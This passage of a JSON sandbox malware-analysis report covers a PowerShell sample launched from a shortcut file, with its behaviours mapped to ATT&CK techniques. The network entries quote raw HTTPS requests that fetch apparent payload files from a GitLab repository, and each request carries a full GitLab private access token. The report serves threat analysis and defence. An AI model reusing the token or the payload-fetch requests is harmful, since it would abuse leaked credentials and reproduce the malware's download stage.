a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\hcjefsh2\\hcjefsh2.cmdline\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\hcjefsh2\\hcjefsh2.out\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/modify Windows services (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Add-Type\"; File: \"facebook.ps1\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-396","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to perform scheduled task-related activity (Powershell command string)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1053.005","relevance":1,"id":"string-335","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$3d","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"$3e","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$3f","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"powershell.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 6444)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$40","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"powershell.exe\" reads file \"c:\\2df24d850d6a50410e6503bc449a61778e5e88722ea4e20e198ea61e45a6903e.bin.lnk\"\n \"powershell.exe\" reads file \"c:\\users\\%osuser%\\desktop\\desktop.ini\"\n \"powershell.exe\" reads file \"c:\\users\\%osuser%\\documents\\desktop.ini\"\n \"powershell.exe\" reads file \"c:\\users\\%osuser%\\music\\desktop.ini\"\n \"powershell.exe\" reads file \"c:\\users\\%osuser%\\pictures\\desktop.ini\"\n \"powershell.exe\" reads file \"c:\\users\\%osuser%\\videos\\desktop.ini\"\n \"powershell.exe\" reads file \"c:\\users\\%osuser%\\downloads\\desktop.ini\"\n \"powershell.exe\" reads file \"c:\\users\\%osuser%\\onedrive\\desktop.ini\"\n \"powershell.exe\" reads file \"c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe.config\"\n \"powershell.exe\" reads file \"c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config\"\n \"powershell.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll.aux\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify sandbox environment running process\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\ATL.DLL\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\atl.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MSCOREE.DLL\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\mscoree.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\ole32.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\oleaut32.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FLTLIB.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\8KT95F6TBB8HO4W998TM.temp\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"\n \"powershell.exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"powershell.exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\8KT95F6TBB8HO4W998TM.temp\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"powershell.exe\" trying to access LNK file \"C:\\2df24d850d6a50410e6503bc449a61778e5e88722ea4e20e198ea61e45a6903e.bin.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$41","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$42","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$43","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00005528.00000000.225591.70420000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00005528-00000C2C-2532496539\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/docx.pdf/raw?ref=main\"\n Found http requests in header \"GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/Yahoo.rtf/raw?ref=main\"\n Found http requests in header \"GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/ajobcall.txt/raw?ref=main\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00005528-00000C2C-2532496421\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00005528-00000C2C-2532687545\")\n Found reference to API \"WinHttpOpenW\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00005528-00000C2C-2532687575\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00005528-00000C2C-2532784627\")\n Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00005528-00000C2C-2532786654\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to get content from a webpage (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Invoke-WebRequest\"; File: \"facebook.ps1\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-282","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"mx.`}`>\" [Source: 00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"2.5.29.37\"\n \"2.5.29.35\"\n \"192.168.0.2\"\n Potential IP \"3.0.0.0\" found in string \"icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n Potential IP \"3.0.0.0\" found in string \"ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n Potential IP \"4.0.0.0\" found in string \"ystem.Management,4.0.0.0,,b03f5f7f11d50a3a\"\n \"2.5.29.17\"\n \"2.5.4.6\"\n \"2.5.4.8\"\n \"2.5.4.7\"\n \"2.5.4.10\"\n \"2.5.4.3\"\n Potential IP \"4.0.0.0\" found in string \"ystem.EnterpriseServices,4.0.0.0,,b03f5f7f11d50a3a,AMD64\"\n Potential IP \"4.0.0.0\" found in string \"ystem.Data,4.0.0.0,,b77a5c561934e089\"\n \"2.5.29.14\"\n \"2.5.29.32\"\n \"2.5.29.19\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.31\"\n \"2.5.29.15\"\n \"2.5.29.1\"\n \"2.5.29.10\"\n \"2.5.4.11\"\n \"2.5.4.5\"\n \"2.5.29.16\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$45","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$46","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/docx.pdf/raw?ref=main HTTP/1.1\nPRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1b\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36\nHost: gitlab.com\nConnection: Keep-Alive\n\n GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/Yahoo.rtf/raw?ref=main HTTP/1.1\nPRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1b\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36\nHost: gitlab.com\n\n GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/ajobcall.txt/raw?ref=main HTTP/1.1\nPRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1b\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36\nHost: gitlab.com\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"$47","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://gitlab.com/api/v4/projects/kevin-group5101713/ri/hifer/repository/files/docx.pdf/raw?ref=main\n Found HTTPS GET request to https://gitlab.com/api/v4/projects/kevin-group5101713/ri/hifer/repository/files/Yahoo.rtf/raw?ref=main\n Found HTTPS GET request to https://gitlab.com/api/v4/projects/kevin-group5101713/ri/hifer/repository/files/ajobcall.txt/raw?ref=main","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"172.65.251.78\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00005528\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE5FCB8EEB95E116F49054631B7C93]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004752.00000000.226453.DF8E0000.00000004.mdmp, 00000000-00004752.00000001.226698.DF8E0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE2533F054EC1542B354596AFC7515]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005528.00000000.225591.3E4E0000.00000004.mdmp, 00000000-00005528.00000001.226277.3E512000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00004752.00000000.226453.DF8E0000.00000004.mdmp, 00000000-00004752.00000001.226698.DF8E0000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00005528.00000000.225591.3E4E0000.00000004.mdmp, 00000000-00005528.00000001.226277.3E512000.00000004.mdmp, 00000000-00005528.00000001.226277.5A3F0000.00000004.mdmp\")\n Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00005528.00000000.225591.70420000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$48","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00006444)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00005528)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00006444)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00005528)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$49","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to determine disk drive type (API string)","description":"Found reference to API \"11523205582,1476,3131,,GetDriveTypeW,kernel32.dll,\"00:58:44.796\",RX=0,PX=0\" (Indicator: \"GetDriveType\"; Source: \"00000000-00005528.00000000.225591.5A3F0000.00000004.mdmp\")\n Found reference to API \"11524348222,1476,3131,,GetDriveTypeW,kernel32.dll,\"00:58:44.796\",RX=0,PX=0\" (Indicator: \"GetDriveType\"; Source: \"00000000-00005528.00000000.225591.5A3F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"17712529942,6556,3120,,FindNextFileW,kernel32.dll,\"00:59:00.937\",RX=0,PX=0\" (Indicator: \"FindNextFile\"; Source: \"00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00005528.00000000.225591.70420000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006444-00000C2C-2519473962\")\n Found string \"OpenProcessTokenW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006444-00000C2C-2521009497\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006444-00000C2C-2521009959\")\n Found string \"OpenProcessW\" (Indicator: \"OpenProcess\"; Source: 